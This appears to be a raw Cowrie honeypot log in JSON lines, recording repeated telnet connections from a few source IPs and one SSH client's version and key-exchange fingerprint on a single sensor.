{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52516,"dst_ip":"159.203.135.109","dst_port":23,"session":"beac1fceb770","protocol":"telnet","message":"New connection: 162.55.233.176:52516 (159.203.135.109:23) [session: beac1fceb770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:52.254644Z"}
{"eventid":"cowrie.session.closed","duration":30.500845193862915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:52.302122Z","src_ip":"162.55.233.176","session":"94aadd368075","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52518,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab397673ef0a","protocol":"telnet","message":"New connection: 162.55.233.176:52518 (159.203.135.109:23) [session: ab397673ef0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:52.344977Z"}
{"eventid":"cowrie.session.closed","duration":40.18773579597473,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:52.443173Z","src_ip":"162.55.233.176","session":"7e4263841aad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":50724,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f051c857889","protocol":"telnet","message":"New connection: 188.208.141.113:50724 (10.17.0.5:23) [session: 1f051c857889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:52.450360Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":52534,"dst_ip":"159.203.135.109","dst_port":23,"session":"14a49a5e0cc0","protocol":"telnet","message":"New connection: 162.55.233.176:52534 (159.203.135.109:23) [session: 14a49a5e0cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:52.798476Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32786,"dst_ip":"159.203.135.109","dst_port":23,"session":"58d1681235f3","protocol":"telnet","message":"New connection: 162.55.233.176:32786 (159.203.135.109:23) [session: 58d1681235f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:52.974861Z"}
{"eventid":"cowrie.session.closed","duration":31.027915954589844,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:53.401007Z","src_ip":"162.55.233.176","session":"124fe3ffc804","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32790,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e3a8bab7b49","protocol":"telnet","message":"New connection: 162.55.233.176:32790 (159.203.135.109:23) [session: 1e3a8bab7b49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:53.412247Z"}
{"eventid":"cowrie.session.closed","duration":30.811021327972412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:53.430016Z","src_ip":"162.55.233.176","session":"e30dc8f0f9b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32794,"dst_ip":"159.203.135.109","dst_port":23,"session":"447807e4d8ec","protocol":"telnet","message":"New connection: 162.55.233.176:32794 (159.203.135.109:23) [session: 447807e4d8ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:53.505863Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32796,"dst_ip":"159.203.135.109","dst_port":23,"session":"758a78627435","protocol":"telnet","message":"New connection: 162.55.233.176:32796 (159.203.135.109:23) [session: 758a78627435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:53.700217Z"}
{"eventid":"cowrie.session.closed","duration":35.858455181121826,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:53.866341Z","src_ip":"162.55.233.176","session":"4d01613b1029","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32804,"dst_ip":"159.203.135.109","dst_port":23,"session":"2704446889cf","protocol":"telnet","message":"New connection: 162.55.233.176:32804 (159.203.135.109:23) [session: 2704446889cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:54.016821Z"}
{"eventid":"cowrie.session.closed","duration":35.63523006439209,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:54.373384Z","src_ip":"162.55.233.176","session":"134572326506","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31981348991394,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:54.392461Z","src_ip":"162.55.233.176","session":"0b60a34e7475","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.63218641281128,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:54.678405Z","src_ip":"162.55.233.176","session":"90571c16089a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32820,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdd182170479","protocol":"telnet","message":"New connection: 162.55.233.176:32820 (159.203.135.109:23) [session: cdd182170479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:54.736953Z"}
{"eventid":"cowrie.session.closed","duration":31.752594470977783,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:54.785590Z","src_ip":"162.55.233.176","session":"72f6ee9ddd9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32828,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccae71bb512e","protocol":"telnet","message":"New connection: 162.55.233.176:32828 (159.203.135.109:23) [session: ccae71bb512e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:54.917079Z"}
{"eventid":"cowrie.session.closed","duration":36.56777477264404,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:54.992738Z","src_ip":"162.55.233.176","session":"31caa3591b93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32836,"dst_ip":"159.203.135.109","dst_port":23,"session":"45618879209b","protocol":"telnet","message":"New connection: 162.55.233.176:32836 (159.203.135.109:23) [session: 45618879209b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:55.101665Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":50730,"dst_ip":"10.17.0.5","dst_port":23,"session":"839c2aa77988","protocol":"telnet","message":"New connection: 188.208.141.113:50730 (10.17.0.5:23) [session: 839c2aa77988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:55.148329Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":50744,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d2856623fb7","protocol":"telnet","message":"New connection: 188.208.141.113:50744 (10.17.0.5:23) [session: 7d2856623fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:55.247169Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32840,"dst_ip":"159.203.135.109","dst_port":23,"session":"1de1eb493da5","protocol":"telnet","message":"New connection: 162.55.233.176:32840 (159.203.135.109:23) [session: 1de1eb493da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:55.424260Z"}
{"eventid":"cowrie.session.closed","duration":44.23927640914917,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:55.472225Z","src_ip":"162.55.233.176","session":"154e569fa6db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.4505059719085693,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:55.900749Z","src_ip":"188.208.141.113","session":"1f051c857889","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32866,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bbe7005b398","protocol":"telnet","message":"New connection: 162.55.233.176:32866 (159.203.135.109:23) [session: 8bbe7005b398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:56.000830Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32874,"dst_ip":"159.203.135.109","dst_port":23,"session":"1762b0413e6e","protocol":"telnet","message":"New connection: 162.55.233.176:32874 (159.203.135.109:23) [session: 1762b0413e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:56.006897Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32882,"dst_ip":"159.203.135.109","dst_port":23,"session":"572477fd6310","protocol":"telnet","message":"New connection: 162.55.233.176:32882 (159.203.135.109:23) [session: 572477fd6310]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:56.234839Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32896,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bd730bf00cf","protocol":"telnet","message":"New connection: 162.55.233.176:32896 (159.203.135.109:23) [session: 8bd730bf00cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:56.378839Z"}
{"eventid":"cowrie.session.closed","duration":39.376187562942505,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:56.472726Z","src_ip":"162.55.233.176","session":"a9b574184e8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.502761840820312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:56.598213Z","src_ip":"162.55.233.176","session":"88add4f4c1c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93746566772461,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:56.813016Z","src_ip":"162.55.233.176","session":"37fc1ac8285d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32852,"dst_ip":"159.203.135.109","dst_port":23,"session":"28439e7ab263","protocol":"telnet","message":"New connection: 162.55.233.176:32852 (159.203.135.109:23) [session: 28439e7ab263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:56.845573Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32920,"dst_ip":"159.203.135.109","dst_port":23,"session":"234e01bb9fab","protocol":"telnet","message":"New connection: 162.55.233.176:32920 (159.203.135.109:23) [session: 234e01bb9fab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:56.867568Z"}
{"eventid":"cowrie.session.closed","duration":35.619324922561646,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:56.930683Z","src_ip":"162.55.233.176","session":"d7c92251ce4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32924,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f409c7892a5","protocol":"telnet","message":"New connection: 162.55.233.176:32924 (159.203.135.109:23) [session: 1f409c7892a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:57.175845Z"}
{"eventid":"cowrie.session.closed","duration":33.92963242530823,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:57.425679Z","src_ip":"162.55.233.176","session":"e02b33152df5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32906,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a737cb75fc6","protocol":"telnet","message":"New connection: 162.55.233.176:32906 (159.203.135.109:23) [session: 5a737cb75fc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:57.463316Z"}
{"eventid":"cowrie.session.closed","duration":5.285794019699097,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:57.532982Z","src_ip":"162.55.233.176","session":"5fa14a08338a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32934,"dst_ip":"159.203.135.109","dst_port":23,"session":"7da7e118b112","protocol":"telnet","message":"New connection: 162.55.233.176:32934 (159.203.135.109:23) [session: 7da7e118b112]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:57.807802Z"}
{"eventid":"cowrie.session.closed","duration":35.89144325256348,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:58.019747Z","src_ip":"162.55.233.176","session":"67df71a48fcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32938,"dst_ip":"159.203.135.109","dst_port":23,"session":"9405c9395898","protocol":"telnet","message":"New connection: 162.55.233.176:32938 (159.203.135.109:23) [session: 9405c9395898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:58.126762Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32948,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd723491bfee","protocol":"telnet","message":"New connection: 162.55.233.176:32948 (159.203.135.109:23) [session: fd723491bfee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:58.432408Z"}
{"eventid":"cowrie.session.closed","duration":32.37796449661255,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:58.777876Z","src_ip":"162.55.233.176","session":"ffd4fb29488c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32952,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc9dbcb257e4","protocol":"telnet","message":"New connection: 162.55.233.176:32952 (159.203.135.109:23) [session: cc9dbcb257e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:58.928545Z"}
{"eventid":"cowrie.session.closed","duration":35.12522578239441,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:58.994779Z","src_ip":"162.55.233.176","session":"5da1a45fe775","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32966,"dst_ip":"159.203.135.109","dst_port":23,"session":"59f90732820c","protocol":"telnet","message":"New connection: 162.55.233.176:32966 (159.203.135.109:23) [session: 59f90732820c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:59.135574Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32974,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0c41c52d6f3","protocol":"telnet","message":"New connection: 162.55.233.176:32974 (159.203.135.109:23) [session: e0c41c52d6f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:59.424129Z"}
{"eventid":"cowrie.session.closed","duration":36.74476599693298,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:59.467671Z","src_ip":"162.55.233.176","session":"9d941aeaebd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.265848636627197,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:59.514153Z","src_ip":"162.55.233.176","session":"80144bca398a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32984,"dst_ip":"159.203.135.109","dst_port":23,"session":"71c8e07eeaac","protocol":"telnet","message":"New connection: 162.55.233.176:32984 (159.203.135.109:23) [session: 71c8e07eeaac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:59.729107Z"}
{"eventid":"cowrie.session.closed","duration":34.998154640197754,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:59.914517Z","src_ip":"162.55.233.176","session":"f01eaca79c8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.26054859161377,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:59.974198Z","src_ip":"162.55.233.176","session":"90c5d102abe9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.17377424240112,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:01:59.999838Z","src_ip":"162.55.233.176","session":"e0b8d9ca8c52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32956,"dst_ip":"159.203.135.109","dst_port":23,"session":"a86021ef2605","protocol":"telnet","message":"New connection: 162.55.233.176:32956 (159.203.135.109:23) [session: a86021ef2605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:00.055652Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":32994,"dst_ip":"159.203.135.109","dst_port":23,"session":"06d1e3b00c1f","protocol":"telnet","message":"New connection: 162.55.233.176:32994 (159.203.135.109:23) [session: 06d1e3b00c1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:00.333503Z"}
{"eventid":"cowrie.session.closed","duration":30.679077625274658,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:00.505347Z","src_ip":"162.55.233.176","session":"29aa0d4f246f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33002,"dst_ip":"159.203.135.109","dst_port":23,"session":"d188699b459a","protocol":"telnet","message":"New connection: 162.55.233.176:33002 (159.203.135.109:23) [session: d188699b459a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:00.834456Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33012,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b501129ddb8","protocol":"telnet","message":"New connection: 162.55.233.176:33012 (159.203.135.109:23) [session: 9b501129ddb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:01.098058Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33024,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fed0d0861c2","protocol":"telnet","message":"New connection: 162.55.233.176:33024 (159.203.135.109:23) [session: 0fed0d0861c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:01.818792Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33038,"dst_ip":"159.203.135.109","dst_port":23,"session":"74c8524690a7","protocol":"telnet","message":"New connection: 162.55.233.176:33038 (159.203.135.109:23) [session: 74c8524690a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:02.124885Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":42829,"dst_ip":"10.17.0.5","dst_port":22,"session":"8477d91fa010","protocol":"ssh","message":"New connection: 38.137.11.14:42829 (10.17.0.5:22) [session: 8477d91fa010]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:02.294972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:02.301322Z","src_ip":"38.137.11.14","session":"8477d91fa010","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.57065200805664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:02.394718Z","src_ip":"162.55.233.176","session":"a8effd297028","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33050,"dst_ip":"159.203.135.109","dst_port":23,"session":"e60b68a9c7ee","protocol":"telnet","message":"New connection: 162.55.233.176:33050 (159.203.135.109:23) [session: e60b68a9c7ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:02.439543Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:02.536474Z","src_ip":"38.137.11.14","session":"8477d91fa010","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.520862102508545,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:02.589580Z","src_ip":"162.55.233.176","session":"19680e217273","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.8322434425354,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:02.759516Z","src_ip":"162.55.233.176","session":"ac6ed52cddd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33052,"dst_ip":"159.203.135.109","dst_port":23,"session":"af19ef1c2ab2","protocol":"telnet","message":"New connection: 162.55.233.176:33052 (159.203.135.109:23) [session: af19ef1c2ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:02.768525Z"}
{"eventid":"cowrie.session.closed","duration":38.460326194763184,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:02.812578Z","src_ip":"162.55.233.176","session":"fc879cc46f7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.716864347457886,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:02.818396Z","src_ip":"162.55.233.176","session":"5b685819e71b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.656306743621826,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:02.898822Z","src_ip":"162.55.233.176","session":"1761a5e69a53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.77246952056885,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:02.917340Z","src_ip":"162.55.233.176","session":"72c5fbeac136","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.08586049079895,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:03.332886Z","src_ip":"188.208.141.113","session":"7d2856623fb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36172,"dst_ip":"159.203.135.109","dst_port":23,"session":"7481318ed38d","protocol":"telnet","message":"New connection: 162.55.233.176:36172 (159.203.135.109:23) [session: 7481318ed38d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:02:03.408221Z"}
